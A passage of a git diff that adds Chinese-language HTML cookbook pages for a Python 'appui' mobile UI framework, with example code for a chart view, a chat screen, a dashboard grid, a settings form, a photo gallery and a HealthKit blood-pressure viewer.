+                                        selection=state.chart_type,
+                                        options=["bar", "line", "area", "point"],
+                                        on_change=set_chart_type,
+                                    ),
+                                    appui.ColorPicker(
+                                        "强调色",
+                                        selection=state.accent,
+                                        on_change=set_accent,
+                                    ),
+                                    appui.Slider(
+                                        value=state.threshold,
+                                        minimum=30,
+                                        maximum=90,
+                                        step=1,
+                                        label="阈值",
+                                        on_change=set_threshold,
+                                    ),
+                                    appui.LabeledContent("当前阈值", value=f"{state.threshold:.0f}"),
+                                ],
+                                header="配置",
+                            )
+                        ]
+                    ),
+                    appui.VStack(
+                        [
+                            appui.Text("系统图表").font("headline"),
+                            appui.Chart(
+                                state.rows,
+                                x="month",
+                                y="value",
+                                type=state.chart_type,
+                                color=state.accent,
+                            ).frame(height=220),
+                        ],
+                        spacing=8,
+                    ).padding(horizontal=16),
+                    appui.VStack(
+                        [
+                            appui.Text("Canvas 自定义阈值图").font("headline"),
+                            appui.Canvas(width=280, height=160, context=drawing_context()),
+                        ],
+                        spacing=8,
+                    ).padding(horizontal=16),
+                ],
+                spacing=14,
+            )
+        ).navigation_title("可视化")
+    )
+
+
+appui.run(body, state=state, presentation="sheet")
+
+

#关键技巧

+
  • Chart 数据为字典列表,x/y 与字段名一致。
  • DrawingContext 在渲染函数里按需构造,不要整段上下文存进 State;命令需可 JSON 序列化。
  • 常规统计用 Canvas 手绘可维护性差,优先 Chart
+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/appui-cookbook-chat/index.html b/docs/docs/pages/appui-cookbook-chat/index.html new file mode 100644 index 0000000..d13d789 --- /dev/null +++ b/docs/docs/pages/appui-cookbook-chat/index.html @@ -0,0 +1,435 @@ + + + + + + 聊天界面 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

聊天界面

+

消息列表、底部输入、安全区和滚动定位。

+
+ +
+

本页演示:ScrollViewReader + LazyVStack 构建消息列表、TextFieldon_submit.submit_label("send") 发送消息、.focused 管理键盘焦点、.animation 在列表变化时做过渡,以及滚动到底部锚点。

+

#预期效果

+

运行后会出现聊天页面,消息流、底部输入、安全区和发送反馈保持稳定。

+

#可访问性与键盘

+
  • 发送按钮提供与键盘「发送」键并行的入口,避免只依赖 on_submit 造成的操作单一路径。
  • 若需朗读友好命名,可为气泡外包一层 Group 并添加 .accessibility_label,将「谁说了什么」拼成完整句子(本示例为缩短篇幅未展示)。
  • keyboard_dismiss("interactive")ScrollViewReader 同屏出现时,注意手势冲突:若发现滚动被键盘手势抢占,可尝试改为 keyboard_dismiss("immediately") 做 A/B。
+

#要点

+
  • ScrollViewReader 通过 scroll_to 传入目标子视图的 .id() 字符串;anchor 常用 top / bottom
  • TextField(..., on_submit=...) 与视图级 .on_submit(...) 均在 appui 中存在;本例使用构造函数内的 on_submit
  • .focused(field_id, equals=...)field_id 为字符串时与 equals 比较以决定焦点。
  • LazyVStack 末尾放置一个极矮的占位视图并标记 .id("bottom"),便于「滚到最新消息」。
+

#完整示例

+
+
+ python +
+
+
import appui
+
+state = appui.State(
+    next_id=1,
+    messages=[{"id": 0, "who": "bot", "text": "你好,这是可运行的聊天示例。"}],
+    input_text="",
+    scroll_to="",
+    focus_field="input",
+)
+
+
+def send_message():
+    text = (state.input_text or "").strip()
+    if not text:
+        return
+    mid = state.next_id
+    state.batch_update(
+        messages=list(state.messages) + [{"id": mid, "who": "me", "text": text}],
+        next_id=mid + 1,
+        input_text="",
+        scroll_to="bottom",
+        focus_field="input",
+    )
+
+
+def bubble(msg):
+    mine = msg["who"] == "me"
+    bubble_bg = "systemBlue" if mine else "secondarySystemBackground"
+    fg = "white" if mine else "label"
+    align = "trailing" if mine else "leading"
+    return appui.HStack(
+        [
+            appui.Text(msg["text"])
+            .padding(10)
+            .background(color=bubble_bg, corner_radius=14)
+            .foreground_color(fg),
+        ],
+        alignment=align,
+    ).frame(max_width=appui.infinity)
+
+
+def message_key(msg):
+    return msg["id"]
+
+
+def set_input_text(value):
+    state.input_text = value
+
+
+def body():
+    reader = appui.ScrollViewReader(
+        scroll_to=state.scroll_to or None,
+        anchor="bottom",
+        content=[
+            appui.LazyVStack(
+                [
+                    appui.ForEach(
+                        state.messages,
+                        row_builder=bubble,
+                        key=message_key,
+                    ).animation("spring", value=len(state.messages)),
+                    appui.Color("clear").frame(height=1).id("bottom"),
+                ],
+                spacing=10,
+            )
+            .padding(12)
+            .keyboard_dismiss("interactive"),
+        ],
+    )
+    composer = appui.HStack(
+        [
+            appui.TextField(
+                "输入消息…",
+                text=state.input_text,
+                on_change=set_input_text,
+                on_submit=send_message,
+            )
+            .submit_label("send")
+            .focused("input", equals=state.focus_field)
+            .text_field_style("rounded_border")
+            .frame(max_width=appui.infinity),
+            appui.Button("发送", action=send_message).button_style("bordered_prominent"),
+        ],
+        spacing=8,
+    ).padding(12)
+    return appui.NavigationStack(
+        appui.VStack(
+            [
+                reader,
+                composer,
+            ],
+            spacing=0,
+        ).navigation_title("聊天")
+    )
+
+
+appui.run(body, state=state, presentation="sheet")
+
+

#说明

+
  1. 滚动到底部:发送后把 state.scroll_to 设为 "bottom",与列表末尾占位视图的 .id("bottom") 对齐;如需连续发送仍触发滚动,可在下一次构建前把 scroll_to 清空再由业务写入。
  2. 焦点focus_fieldTextField 上的 .focused("input", equals=state.focus_field) 搭配;若需多段输入框,可为不同字段使用不同字符串标识。
  3. 动画.animation("spring", value=len(state.messages)) 将隐式动画绑定到消息条数变化;亦可在 send_message 外层使用 appui.animate(参见主文档)。
+

#ScrollViewReader 参数摘要

+
参数作用
content滚动区域的子视图列表,通常包含 LazyVStack
axes'vertical'(默认)或 'horizontal' 控制滚动方向。
shows_indicators是否显示滚动指示条。
scroll_to设置为与某个子视图 .id("…") 相同的字符串时,驱动滚动定位。
anchor与目标视图对齐的锚点,例如 'bottom' 便于对齐最新消息。
+

#行为调优

+
  • 空消息禁止发送send_messagestrip() 并忽略空串,避免插入空白气泡。
  • 键盘与滚动keyboard_dismiss("interactive") 绑在消息区域的 LazyVStack 上,便于用户向下轻扫收起键盘;若希望轻扫即发送,可结合 .on_submit 自定义。
  • 大量历史消息LazyVStack 只构建可视区域;若单条消息文本极长,可配合 .line_limit(20) 等修饰符防止单格过高。
  • 显式动画包一帧更新:若希望发送动作必定以动画呈现,定义一个 send_with_animation() 包住 send_message(),再传给 appui.animate(send_with_animation, type="spring")
+

#手动测试清单

+
  1. 启动后检查机器人首条消息是否出现,气泡左对齐且背景为次级系统灰。
  2. 在输入框键入文本,点击「发送」与键盘发送键各一次,确认行为一致。
  3. 连续发送多条消息,观察列表是否保持在底部附近(依赖 scroll_toanchor='bottom')。
  4. 在输入框聚焦状态下滚动消息列表,确认键盘可随交互收起。
  5. 将设备切换深色模式,检查对比度是否仍可接受(必要时为气泡增加描边 border)。
+

#消息模型扩展

+

示例中的 messages 使用 dict 承载 id / who / text 三字段,便于 ForEachkey 去重与左右气泡分支。接入真实业务时常见演进方式如下(仍使用已存在的 State / List / Text 等 API,不引入虚构类型):

+
  1. 时间戳:为每条消息增加 ts 整数或 ISO 字符串,在 bubble 内用较小字号 Text 显示在气泡下方。
  2. 送达状态:增加 status 字段(如 sending / sent / failed),在 HStack 尾部追加 ProgressViewImage(system_name="checkmark")
  3. 分页加载:将 state.messages 拆为「已加载窗口」与「游标」,在 ScrollViewon_appear 或列表顶部 Button("加载更多") 中向列表前端插入历史项;LazyVStack 保持懒构建特性。
  4. 服务端同步:在独立线程拉取新消息后,对 state.messagesextend 或整表替换;若更新频率高,可评估将输入框绑定迁移到 ReactiveState 以减少重建范围。
+

#界面刷新排错

+
现象排查方向
发送后界面不刷新确认 appui.run(body, state=state, ...) 已传入同一 state 实例;避免在 body 外重新构造新的 State
scroll_to 无效确认目标 .id 字符串与 scroll_to 完全一致;占位条高度不宜为 0(示例使用 frame(height=1))。
键盘「发送」无响应检查是否链式 .submit_label("send");若使用自定义 return 键文案,需与 iOS 本地化键名一致。
焦点无法切换多字段场景下为每个 TextField 使用不同的 field_id 字符串,并统一由 state.focus_field 驱动 equals
+

#发送时的一帧更新

+

示例用一次 state.batch_update(...) 同时写入新消息、递增 next_id、清空 input_text 并设置 scroll_to。这样比先 append 再改输入框更稳定,能避免用户看到「消息已发送但输入框仍保留旧文本」的中间状态。

+

如果用户可能连续快速点击发送,可增加 sending 布尔字段并在发送期间禁用按钮;写法上仍只需要 State 字段与 Button(..., action=...)

+

#延伸阅读

+ +
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/appui-cookbook-dashboard/index.html b/docs/docs/pages/appui-cookbook-dashboard/index.html new file mode 100644 index 0000000..91cc1ab --- /dev/null +++ b/docs/docs/pages/appui-cookbook-dashboard/index.html @@ -0,0 +1,479 @@ + + + + + + 示例:紧凑仪表盘 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

示例:紧凑仪表盘

+

看板卡片、网格布局和真实交互。

+
+ +
+

适合做首页概览、运营面板、学习进度页。这个样板使用 ScrollView + LazyVGrid,卡片高度稳定,点击卡片后会更新选中状态。

+

#预期效果

+

运行后会出现紧凑看板,指标卡、筛选表单和明细导航会随搜索和状态切换更新。

+

#完整代码

+
+
+ python +
+
+
import appui
+
+state = appui.State(selected="Revenue")
+
+metrics = [
+    {
+        "id": "revenue",
+        "name": "Revenue",
+        "value": "$48.2K",
+        "delta": "+12%",
+        "color": "systemGreen",
+    },
+    {"id": "users", "name": "Users", "value": "8,420", "delta": "+5%", "color": "systemBlue"},
+    {"id": "errors", "name": "Errors", "value": "14", "delta": "-3%", "color": "systemOrange"},
+    {"id": "uptime", "name": "Uptime", "value": "99.98%", "delta": "stable", "color": "systemTeal"},
+]
+
+
+def metric_key(item):
+    return item["id"]
+
+
+def select_metric(name):
+    state.selected = name
+
+
+def metric_card(item):
+    def open_metric():
+        select_metric(item["name"])
+
+    content = appui.VStack([
+        appui.HStack([
+            appui.Text(item["name"]).font("caption").foreground_color("secondaryLabel"),
+            appui.Spacer(),
+            appui.Text(item["delta"]).font("caption").foreground_color(item["color"]),
+        ]),
+        appui.Text(item["value"]).font("title2").bold(),
+    ], alignment="leading", spacing=8)
+
+    return (
+        appui.Button(action=open_metric, content=content)
+        .button_style("plain")
+        .frame(max_width=appui.infinity, min_height=104, alignment="leading")
+        .padding(14)
+        .background("secondarySystemBackground", corner_radius=8)
+    )
+
+
+def body():
+    grid = appui.LazyVGrid(
+        columns=[appui.flexible(minimum=140), appui.flexible(minimum=140)],
+        spacing=12,
+        content=[appui.ForEach(metrics, row_builder=metric_card, key=metric_key)],
+    )
+
+    header = appui.VStack([
+        appui.Text("Operations").font("largeTitle").bold()
+            .frame(max_width=appui.infinity, alignment="leading"),
+        appui.Text(f"Selected: {state.selected}")
+            .foreground_color("secondaryLabel")
+            .frame(max_width=appui.infinity, alignment="leading"),
+    ], alignment="leading", spacing=4)
+
+    return appui.NavigationStack(
+        appui.ScrollView(
+            appui.VStack([header, grid], alignment="leading", spacing=16).padding(16)
+        )
+        .navigation_title("Dashboard")
+    )
+
+
+appui.run(body, state=state)
+
+

#筛选表单与明细导航

+

运营类仪表盘如果有搜索、筛选和明细页,优先用 List + Section + NavigationLink。空结果用 ContentUnavailableView,不要只留空白页面。

+
+
+ python +
+
+
import appui
+
+state = appui.State(query="", status="All")
+
+rows = [
+    {"id": "revenue", "name": "Revenue", "status": "Good", "value": "$48.2K"},
+    {"id": "errors", "name": "Errors", "status": "Needs Review", "value": "14"},
+    {"id": "uptime", "name": "Uptime", "status": "Good", "value": "99.98%"},
+]
+
+
+def row_key(row):
+    return row["id"]
+
+
+def set_query(value):
+    state.query = value
+
+
+def set_status(value):
+    state.status = value
+
+
+def filtered_rows():
+    query = state.query.strip().lower()
+    result = rows
+    if state.status != "All":
+        result = [row for row in result if row["status"] == state.status]
+    if query:
+        result = [row for row in result if query in row["name"].lower()]
+    return result
+
+
+def detail_view(row):
+    return appui.Form([
+        appui.Section("Metric", [
+            appui.LabeledContent("Name", value=row["name"]),
+            appui.LabeledContent("Status", value=row["status"]),
+            appui.LabeledContent("Value", value=row["value"]),
+        ])
+    ]).navigation_title(row["name"])
+
+
+def row_view(row):
+    return appui.NavigationLink(
+        destination=detail_view(row),
+        label=appui.LabeledContent(row["name"], value=row["value"]),
+    )
+
+
+def body():
+    visible = filtered_rows()
+    content = (
+        appui.ContentUnavailableView(
+            "No Metrics",
+            system_image="chart.bar",
+            description="Change the search or filter.",
+        )
+        if not visible
+        else appui.ForEach(visible, row_builder=row_view, key=row_key)
+    )
+
+    return appui.NavigationStack(
+        appui.List([
+            appui.Section("Filter", [
+                appui.Picker(
+                    "Status",
+                    selection=state.status,
+                    options=["All", "Good", "Needs Review"],
+                    on_change=set_status,
+                )
+                    .picker_style("segmented")
+            ]),
+            appui.Section("Metrics", [content]),
+        ])
+        .searchable(text=state.query, on_change=set_query)
+        .navigation_title("Dashboard")
+    )
+
+
+appui.run(body, state=state)
+
+

#可复用点

+
  • 首页看板可以用 ScrollView + LazyVGrid,但普通数据列表仍优先用 List
  • 卡片用 Button 包裹,点击后必须更新状态或进入详情。
  • appui.infinity,不要写字符串 ".infinity"
  • 卡片 min_height 固定,避免不同内容导致网格跳动。
+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/appui-cookbook-form-settings-controls/index.html b/docs/docs/pages/appui-cookbook-form-settings-controls/index.html new file mode 100644 index 0000000..aa98bb2 --- /dev/null +++ b/docs/docs/pages/appui-cookbook-form-settings-controls/index.html @@ -0,0 +1,477 @@ + + + + + + 原生表单设置 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

原生表单设置

+

Form、Section、输入控件、颜色选择和 storage 持久化。

+
+ +
+

演示 Form + Section 与各类控件绑定 State,并用 storage 持久化偏好。

+

#预期效果

+

运行后会出现完整表单设置页,文本、开关、日期、颜色和保存状态会同步更新。

+

#完整示例

+
+
+ python +
+
+
import appui
+import haptics
+import storage
+
+SETTINGS_KEY = "demo.native.settings"
+
+defaults = {
+    "display_name": "MiniApp 用户",
+    "api_token": "",
+    "mode": "自动",
+    "refresh_minutes": 15,
+    "volume": 0.55,
+    "accent": "systemBlue",
+    "deadline": "2026-05-01 09:00",
+    "sync_enabled": True,
+    "wifi_only": True,
+}
+
+state = appui.State(**defaults, status="未保存", loaded=False)
+
+
+def load_saved_settings():
+    if state.loaded:
+        return
+    state.loaded = True
+    saved = storage.get_json(SETTINGS_KEY, default={}) or {}
+    for key, fallback in defaults.items():
+        setattr(state, key, saved.get(key, fallback))
+    if saved:
+        state.status = "已加载保存设置"
+
+
+def update(field):
+    def setter(value):
+        setattr(state, field, value)
+    return setter
+
+
+def save_settings():
+    payload = {
+        "display_name": state.display_name,
+        "api_token": state.api_token,
+        "mode": state.mode,
+        "refresh_minutes": int(state.refresh_minutes),
+        "volume": float(state.volume),
+        "accent": state.accent,
+        "deadline": state.deadline,
+        "sync_enabled": bool(state.sync_enabled),
+        "wifi_only": bool(state.wifi_only),
+    }
+    storage.set_json(SETTINGS_KEY, payload)
+    state.status = "已保存"
+    haptics.notification("success")
+
+
+def reset_settings():
+    for key, value in defaults.items():
+        setattr(state, key, value)
+    state.status = "已恢复默认"
+    haptics.notification("warning")
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form(
+            [
+                appui.Section(
+                    [
+                        appui.TextField(
+                            "显示名称",
+                            text=state.display_name,
+                            on_change=update("display_name"),
+                        ),
+                        appui.SecureField(
+                            "API Token",
+                            text=state.api_token,
+                            on_change=update("api_token"),
+                        ),
+                    ],
+                    header="账号",
+                    footer="Token 只用于演示表单输入;生产场景请保存到 keychain。",
+                ),
+                appui.Section(
+                    [
+                        appui.Toggle(
+                            "启用同步",
+                            is_on=state.sync_enabled,
+                            on_change=update("sync_enabled"),
+                        ),
+                        appui.Toggle(
+                            "仅 Wi-Fi 同步",
+                            is_on=state.wifi_only,
+                            on_change=update("wifi_only"),
+                        ),
+                        appui.Picker(
+                            "同步模式",
+                            selection=state.mode,
+                            options=["自动", "手动", "低电量"],
+                            on_change=update("mode"),
+                        ),
+                    ],
+                    header="同步",
+                ),
+                appui.Section(
+                    [
+                        appui.Stepper(
+                            "刷新间隔",
+                            value=state.refresh_minutes,
+                            minimum=5,
+                            maximum=120,
+                            step=5,
+                            on_change=update("refresh_minutes"),
+                        ),
+                        appui.LabeledContent("当前间隔", value=f"{int(state.refresh_minutes)} 分钟"),
+                        appui.Slider(
+                            value=state.volume,
+                            minimum=0,
+                            maximum=1,
+                            step=0.05,
+                            label="提示音量",
+                            on_change=update("volume"),
+                        ),
+                        appui.ProgressView(value=state.volume),
+                    ],
+                    header="数值",
+                ),
+                appui.Section(
+                    [
+                        appui.DatePicker(
+                            "提醒时间",
+                            selection=state.deadline,
+                            components="date",
+                            on_change=update("deadline"),
+                        ),
+                        appui.ColorPicker(
+                            "强调色",
+                            selection=state.accent,
+                            on_change=update("accent"),
+                        ),
+                    ],
+                    header="外观与时间",
+                ),
+                appui.Section(
+                    [
+                        appui.LabeledContent("状态", value=state.status),
+                        (
+                            appui.Button("保存设置", action=save_settings)
+                            .button_style("bordered_prominent")
+                        ),
+                        appui.Button("恢复默认", role="destructive", action=reset_settings),
+                    ],
+                    header="操作",
+                ),
+            ]
+        ).navigation_title("设置")
+    ).on_appear(load_saved_settings)
+
+
+appui.run(body, state=state, presentation="sheet")
+
+

#关键技巧

+
  • 设置页优先 Form + Section;控件值绑定 State 并在 on_change 写回。
  • 一般偏好用 storage;真密钥用 keychain
  • 持久化读取放进 on_appear,不要在模块加载时访问原生存储,预览和首次渲染会更稳定。
  • Toggleon_change 只更新状态,避免顺带做 Tab 切换等导航副作用。
+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/appui-cookbook-gallery/index.html b/docs/docs/pages/appui-cookbook-gallery/index.html new file mode 100644 index 0000000..e215674 --- /dev/null +++ b/docs/docs/pages/appui-cookbook-gallery/index.html @@ -0,0 +1,470 @@ + + + + + + 相册浏览器 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

相册浏览器

+

LazyVGrid、AsyncImage、PhotoPicker、详情导航和全屏预览。

+
+ +
+

本页演示:LazyVGrid + AsyncImage 展示远程缩略图、PhotoPicker 将相册资源加入列表、NavigationStack + NavigationLink 进入详情,以及用 .sheet 做全屏感预览。

+

#预期效果

+

运行后会出现相册网格,支持添加图片、打开详情、全屏查看和处理空状态。

+

#状态字段说明

+
字段类型意图更新来源
urls字符串列表,元素为 httpsfile://初始内置远程图;PhotoPicker 回调追加本地资源。
sheet_open布尔用户打开/关闭全屏预览。
sheet_url字符串当前预览指向的 URL;与 AsyncImageurl 参数一致。
+

保持 sheet_url 仅在 sheet_open 为真时读取,可避免旧 URL 在模态关闭后仍参与布局的短暂闪烁(示例未强制清空,以便演示简单)。

+

#要点

+
  • PhotoPicker(selection_limit, filter, on_picked, label)filterimagesvideosallon_picked 收到本地路径字符串列表。
  • AsyncImage(url, placeholder, error_view, content_mode)content_modefitfill
  • NavigationLink 可用 label 传入任意 View,适合「缩略图即入口」。
  • 模态预览使用根视图上的 .sheet(is_presented=..., content=..., on_dismiss=...)
+

#完整示例

+
+
+ python +
+
+
import appui
+
+state = appui.State(
+    urls=[
+        "https://picsum.photos/id/64/600/600",
+        "https://picsum.photos/id/65/600/600",
+        "https://picsum.photos/id/66/600/600",
+    ],
+    sheet_open=False,
+    sheet_url="",
+)
+
+
+def _normalize_url(path_or_url):
+    s = str(path_or_url)
+    if s.startswith(("http://", "https://", "file://")):
+        return s
+    return "file://" + s
+
+
+def on_picked(paths):
+    next_urls = list(state.urls)
+    for p in paths or []:
+        u = _normalize_url(p)
+        if u not in next_urls:
+            next_urls.append(u)
+    state.urls = next_urls
+
+
+def open_sheet(url):
+    state.batch_update(sheet_open=True, sheet_url=url)
+
+
+def close_sheet():
+    state.batch_update(sheet_open=False, sheet_url="")
+
+
+def thumb(url):
+    return appui.AsyncImage(
+        url=url,
+        placeholder=appui.ProgressView(),
+        error_view=appui.Image(system_name="photo"),
+        content_mode="fill",
+    ).frame(height=120).clip_shape("rounded_rect").corner_radius(10)
+
+
+def detail(url):
+    def preview_current():
+        open_sheet(url)
+
+    return appui.ScrollView(
+        appui.VStack(
+            [
+                appui.AsyncImage(
+                    url=url,
+                    placeholder=appui.ProgressView(),
+                    error_view=appui.Image(system_name="exclamationmark.triangle"),
+                    content_mode="fit",
+                ).frame(max_width=appui.infinity),
+                appui.Button(
+                    "全屏预览",
+                    action=preview_current,
+                ).button_style("bordered_prominent"),
+            ],
+            spacing=12,
+        ).padding(16)
+    ).navigation_title("详情")
+
+
+def sheet_root():
+    return appui.ZStack(
+        [
+            appui.Color("systemBackground"),
+            appui.VStack(
+                [
+                    appui.HStack(
+                        [
+                            appui.Button("关闭", action=close_sheet).button_style("bordered"),
+                            appui.Spacer(),
+                        ]
+                    ).padding(12),
+                    appui.AsyncImage(
+                        url=state.sheet_url,
+                        placeholder=appui.ProgressView(),
+                        content_mode="fit",
+                    )
+                    .frame(max_width=appui.infinity, max_height=appui.infinity)
+                    .padding(12),
+                    appui.Spacer(min_length=0),
+                ]
+            ),
+        ]
+    )
+
+
+def body():
+    col = appui.adaptive(minimum=104, maximum=160)
+    grid = appui.LazyVGrid(
+        columns=[col],
+        spacing=10,
+        content=[
+            appui.NavigationLink(
+                destination=detail(u),
+                label=thumb(u),
+            )
+            for u in state.urls
+        ],
+    )
+    root = appui.NavigationStack(
+        appui.ScrollView(
+            appui.VStack(
+                [
+                    appui.HStack(
+                        [
+                            appui.PhotoPicker(
+                                selection_limit=6,
+                                filter="images",
+                                on_picked=on_picked,
+                                label=appui.Label("从相册添加", system_image="photo.fill"),
+                            ),
+                            appui.Spacer(),
+                        ]
+                    ).padding(horizontal=16),
+                    grid.padding(horizontal=12),
+                ],
+                spacing=12,
+            )
+        ).navigation_title("相册浏览器")
+    )
+    return root.sheet(
+        is_presented=state.sheet_open,
+        on_dismiss=close_sheet,
+        content=sheet_root(),
+    )
+
+
+appui.run(body, state=state, presentation="sheet")
+
+

#说明

+
  1. 本地路径与 AsyncImage:相册回调多为文件路径;示例通过 file:// 前缀拼成 URL 形式字符串,便于与远程 https 资源统一存入 state.urls
  2. 导航与模态NavigationLink 负责栈内详情;sheet 适合「沉浸式预览」或临时操作面板,两者可同时存在。
  3. 性能LazyVGrid 仅构建可见区域的子视图,适合大量缩略图;仍建议控制 selection_limit 与列表长度。
+

#权限与数据来源

+
  • 相册读取PhotoPicker 依赖系统照片权限;首次使用若未授权,回调可能为空列表。示例在 on_picked 中对 paths 做空值容错(for p in paths or [])。
  • 远程图片AsyncImage 使用网络 URL 时需允许应用访问对应域;演示域名 picsum.photos 仅作占位,可替换为你自己的 CDN。
  • file:// 路径:不同运行环境返回的路径前缀可能不同;_normalize_url 仅做最小归一化。若遇到加载失败,请检查当前环境是否允许读取该路径。
+

#交互变体

+
  • 只用模态、不用导航栈:可将 NavigationStack 替换为 ScrollView + on_tap 打开 sheet,适合全屏单页工具。
  • 详情页再加操作菜单:在 detail(url) 内为工具栏添加 Menu(title, content=[Button(...)]),将删除、分享等操作收纳到菜单中。
+

#AsyncImage 与占位策略

+
  • 占位视图placeholdererror_view 均为可选 View;常见组合是 ProgressView() + Image(system_name="exclamationmark.triangle")
  • content_modefill 适合缩略图铺满单元格(配合 clip_shape);详情页大图多用 fit 保留完整画面。
  • 失败重试on_failure 回调可用于打点或递增计数器;若需 UI 级「重试」按钮,可在 State 中增加整型字段(例如 reload_nonce),在按钮 action 中自增该字段,并让 AsyncImageurl 字符串拼接该值,以便在下次 body() 重建时强制重新请求(仍只用已有 API)。
+

#导航栈与模态的职责划分

+
  • 导航栈(NavigationLink:适合「进入详情后仍希望保留返回手势与标题栈上下文」的路径。
  • sheet:适合「临时预览、一次性操作」;关闭时务必在 on_dismiss 中复位 is_presented 关联储,避免下次无法再次弹出。
+

#延伸阅读

+ +
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/appui-cookbook-health-blood-pressure/index.html b/docs/docs/pages/appui-cookbook-health-blood-pressure/index.html new file mode 100644 index 0000000..d4c1f14 --- /dev/null +++ b/docs/docs/pages/appui-cookbook-health-blood-pressure/index.html @@ -0,0 +1,516 @@ + + + + + + 血压分析 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

血压分析

+

HealthKit 授权、血压查询、摘要统计和趋势图。

+
+ +
+

演示 health 授权、query_blood_pressureappui 列表、分段 PickerChart 展示趋势与记录。

+

#预期效果

+

运行后会出现血压分析页,授权、最新读数、趋势图和异常空状态都有对应展示。

+

#完整示例

+
+
+ python +
+
+
import time
+import appui
+import health
+
+READ_TYPES = ["blood_pressure_systolic", "blood_pressure_diastolic"]
+
+
+def sample_records():
+    now = time.time()
+    rows = []
+    values = [(118, 76), (121, 78), (116, 74), (124, 80), (119, 77), (122, 79), (117, 75)]
+    for index, pair in enumerate(values):
+        ts = now - (len(values) - index) * 86400
+        rows.append({
+            "systolic": pair[0],
+            "diastolic": pair[1],
+            "unit": "mmHg",
+            "start": ts,
+            "end": ts,
+        })
+    return rows
+
+
+initial_records = sample_records()
+
+state = appui.State(
+    days="30",
+    records=initial_records,
+    summary=health.summarize_blood_pressure(initial_records),
+    source="示例数据",
+    loading=False,
+    message="真机授权后可读取 HealthKit 血压数据",
+)
+
+
+def date_label(timestamp):
+    return time.strftime("%m/%d %H:%M", time.localtime(float(timestamp)))
+
+
+def load_health_data():
+    state.loading = True
+    end = time.time()
+    start = end - int(state.days) * 86400
+    records = []
+
+    if health.is_available():
+        health.request_authorization(read=READ_TYPES)
+        records = health.query_blood_pressure(start=start, end=end)
+
+    if records:
+        source = "HealthKit"
+        message = f"读取 {len(records)} 条血压记录"
+    else:
+        records = sample_records()
+        source = "示例数据"
+        message = "未读取到 HealthKit 血压记录,当前显示示例数据"
+
+    state.batch_update(
+        records=records,
+        summary=health.summarize_blood_pressure(records),
+        source=source,
+        message=message,
+        loading=False,
+    )
+
+
+def set_days(value):
+    state.days = value
+    load_health_data()
+
+
+def record_start(item):
+    return float(item.get("start", 0))
+
+
+def chart_rows(field):
+    rows = sorted(state.records, key=record_start)[-14:]
+    return [
+        {
+            "day": time.strftime("%m/%d", time.localtime(float(item.get("start", 0)))),
+            "value": float(item.get(field, 0)),
+        }
+        for item in rows
+    ]
+
+
+def stat_text(field, label):
+    summary = state.summary or {}
+    stats = summary.get(field, {})
+    if not stats:
+        return appui.LabeledContent(label, value="--")
+    return appui.LabeledContent(
+        label,
+        value=f'{stats["avg"]:.0f} / {stats["min"]:.0f}-{stats["max"]:.0f} mmHg',
+    )
+
+
+def record_row(item):
+    return appui.HStack(
+        [
+            appui.VStack(
+                [
+                    appui.Text(date_label(item.get("start", 0))).font("headline"),
+                    (
+                        appui.Text(item.get("unit", "mmHg"))
+                        .font("caption")
+                        .foreground_color("secondaryLabel")
+                    ),
+                ],
+                alignment="leading",
+            ),
+            appui.Spacer(),
+            (
+                appui.Text(
+                    f'{item.get("systolic", 0):.0f}/'
+                    f'{item.get("diastolic", 0):.0f}'
+                )
+                .font("title3")
+                .bold()
+            ),
+        ],
+        spacing=12,
+    )
+
+
+def record_key(item):
+    return item.get("start", 0)
+
+
+def body():
+    latest = (state.summary or {}).get("latest") or {}
+    return appui.NavigationStack(
+        appui.List(
+            [
+                appui.Section(
+                    [
+                        appui.LabeledContent("数据源", value=state.source),
+                        appui.LabeledContent("状态", value=state.message),
+                        appui.Picker(
+                            "时间范围",
+                            selection=state.days,
+                            options=["7", "30", "90"],
+                            on_change=set_days,
+                        ).picker_style("segmented"),
+                        appui.Button("刷新 HealthKit", action=load_health_data)
+                            .button_style("bordered_prominent"),
+                    ],
+                    header="同步",
+                    footer="本示例只做个人数据统计和可视化,不提供医疗诊断。",
+                ),
+                appui.Section(
+                    [
+                        appui.LabeledContent(
+                            "最近一次",
+                            value=(
+                                f'{latest.get("systolic", 0):.0f}/'
+                                f'{latest.get("diastolic", 0):.0f} mmHg'
+                            )
+                            if latest else "--",
+                        ),
+                        stat_text("systolic", "收缩压 均值/范围"),
+                        stat_text("diastolic", "舒张压 均值/范围"),
+                    ],
+                    header="摘要",
+                ),
+                appui.Section(
+                    [
+                        appui.Chart(
+                            chart_rows("systolic"),
+                            x="day",
+                            y="value",
+                            type="line",
+                            color="systemRed",
+                        )
+                            .frame(height=180),
+                        appui.Chart(
+                            chart_rows("diastolic"),
+                            x="day",
+                            y="value",
+                            type="line",
+                            color="systemBlue",
+                        )
+                            .frame(height=180),
+                    ],
+                    header="趋势",
+                ),
+                appui.Section(
+                    [appui.ForEach(state.records[:20], record_row, key=record_key)],
+                    header="记录",
+                ),
+            ]
+        )
+        .refreshable(load_health_data)
+        .navigation_title("血压")
+    )
+
+
+appui.run(body, state=state, presentation="sheet")
+
+

#关键技巧

+
  • 授权时申请 blood_pressure_systolicblood_pressure_diastolic,避免依赖组合类型授权表现。
  • query_blood_pressure 返回配对 mmHg;无数据时可回落示例集合并标明数据源。
  • summarize_blood_pressure 仅作统计展示,非诊断依据。
+
+ +
+ +
+ +
+
